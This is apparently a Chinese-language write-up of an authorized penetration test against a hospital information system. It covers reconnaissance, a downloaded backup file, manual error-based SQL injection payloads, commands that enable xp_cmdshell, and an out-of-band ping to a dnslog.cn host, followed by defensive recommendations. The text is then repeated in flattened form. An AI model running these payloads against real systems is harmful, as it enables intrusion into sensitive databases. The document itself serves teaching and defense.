一次授权的未授权漏洞验证测试
字数 1083 2025-08-11 08:36:33

医院系统授权渗透测试实战教学文档

0x01 测试背景与目标

  • 测试类型:授权漏洞验证测试
  • 目标系统:某医院信息系统
  • 提供信息
    • 远程桌面连接地址
    • 被测系统URL
    • 密码待申请

0x02 信息收集阶段

初始信息收集结果

  1. 技术栈信息

    • .NET开发系统
    • IIS中间件框架
    • Windows Server服务器
  2. 端口与服务

    • 开放数据库端口1433 (SQL Server)
  3. 安全缺陷

    • 存在用户名枚举问题
    • 无验证码机制

信息收集方法

  1. 框架识别

    • 通过HTTP响应头、页面特征识别.NET和IIS
  2. 端口扫描

    • 发现1433端口开放,确认SQL Server数据库
  3. 目录爆破

    • 使用DirBuster尝试爆破ueditor富文本编辑器路径
    • 使用Tide知识星球提供的攻防演练字典

0x03 漏洞验证过程

初始攻击尝试

  1. 口令猜解

    • Web应用和SQL Server数据库口令猜解未成功
  2. 中间件测试

    • OPTIONS请求测试PUT方法(未开启)
    • 检查中间件版本(不可利用)

关键发现

  1. 目录浏览漏洞

    • 发现IIS目录浏览问题
    • 下载hisxxxx.bak备份文件
  2. 备份文件分析

    • 发现web.config文件包含加密数据库连接串
    • 发现其他系统URL(存在未授权访问漏洞嫌疑)

SQL注入攻击

  1. 注入点发现

    • 通过功能页面找到查询接口
    • sqlmap使用失败转手动注入
  2. 注入技术细节

    • 简单URL编码绕过400错误
    • 使用报错注入技术
  3. 注入语句示例

    1' or @@version>0--  # 获取数据库版本
    1' or User_Name()>0--  # 获取当前用户
    1' or db_name()>0--  # 获取当前数据库名
    
  4. 权限提升尝试

    • 尝试开启xp_cmdshell执行系统命令:
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
    EXEC sp_configure 'show advanced options', 1;
    
    • 尝试DNS外带验证:
    ' ;exec master..xp_cmdshell "ping ph3owt.dnslog.cn -n 2" --
    

突破点发现

  1. 源码审计

    • 检查JS、CSS等静态资源文件
    • 在不起眼页面发现注释的数据库连接信息
  2. 关键信息

    • 明文数据库用户名密码
    • 可直接连接数据库

0x04 攻击总结与经验

  1. 现代防御趋势

    • 常规弱口令、文件上传漏洞减少
    • 需要更细致的测试方法
  2. 关键测试点

    • 备份文件(.bak, .zip等)
    • 配置文件(web.config等)
    • 静态资源(JS/CSS中的注释)
    • 隐藏接口和页面
  3. 测试方法论

    • 信息收集要全面
    • 不要忽视任何细节
    • 工具失败时转手动测试
    • 保持耐心和细致

0x05 防御建议

  1. 安全配置

    • 禁用IIS目录浏览
    • 关闭不必要的数据库功能(xp_cmdshell)
  2. 代码安全

    • 移除生产环境中的调试信息和注释
    • 对配置文件进行加密
  3. 备份管理

    • 避免备份文件可被直接下载
    • 定期清理测试文件
  4. 输入验证

    • 实施严格的输入过滤
    • 使用参数化查询防止SQL注入
  5. 权限控制

    • 最小权限原则
    • 数据库账户不应使用高权限角色
医院系统授权渗透测试实战教学文档 0x01 测试背景与目标 测试类型 :授权漏洞验证测试 目标系统 :某医院信息系统 提供信息 : 远程桌面连接地址 被测系统URL 密码待申请 0x02 信息收集阶段 初始信息收集结果 技术栈信息 : .NET开发系统 IIS中间件框架 Windows Server服务器 端口与服务 : 开放数据库端口1433 (SQL Server) 安全缺陷 : 存在用户名枚举问题 无验证码机制 信息收集方法 框架识别 : 通过HTTP响应头、页面特征识别.NET和IIS 端口扫描 : 发现1433端口开放,确认SQL Server数据库 目录爆破 : 使用DirBuster尝试爆破ueditor富文本编辑器路径 使用Tide知识星球提供的攻防演练字典 0x03 漏洞验证过程 初始攻击尝试 口令猜解 : Web应用和SQL Server数据库口令猜解未成功 中间件测试 : OPTIONS请求测试PUT方法(未开启) 检查中间件版本(不可利用) 关键发现 目录浏览漏洞 : 发现IIS目录浏览问题 下载hisxxxx.bak备份文件 备份文件分析 : 发现web.config文件包含加密数据库连接串 发现其他系统URL(存在未授权访问漏洞嫌疑) SQL注入攻击 注入点发现 : 通过功能页面找到查询接口 sqlmap使用失败转手动注入 注入技术细节 : 简单URL编码绕过400错误 使用报错注入技术 注入语句示例 : 权限提升尝试 : 尝试开启xp_ cmdshell执行系统命令: 尝试DNS外带验证: 突破点发现 源码审计 : 检查JS、CSS等静态资源文件 在不起眼页面发现注释的数据库连接信息 关键信息 : 明文数据库用户名密码 可直接连接数据库 0x04 攻击总结与经验 现代防御趋势 : 常规弱口令、文件上传漏洞减少 需要更细致的测试方法 关键测试点 : 备份文件(.bak, .zip等) 配置文件(web.config等) 静态资源(JS/CSS中的注释) 隐藏接口和页面 测试方法论 : 信息收集要全面 不要忽视任何细节 工具失败时转手动测试 保持耐心和细致 0x05 防御建议 安全配置 : 禁用IIS目录浏览 关闭不必要的数据库功能(xp_ cmdshell) 代码安全 : 移除生产环境中的调试信息和注释 对配置文件进行加密 备份管理 : 避免备份文件可被直接下载 定期清理测试文件 输入验证 : 实施严格的输入过滤 使用参数化查询防止SQL注入 权限控制 : 最小权限原则 数据库账户不应使用高权限角色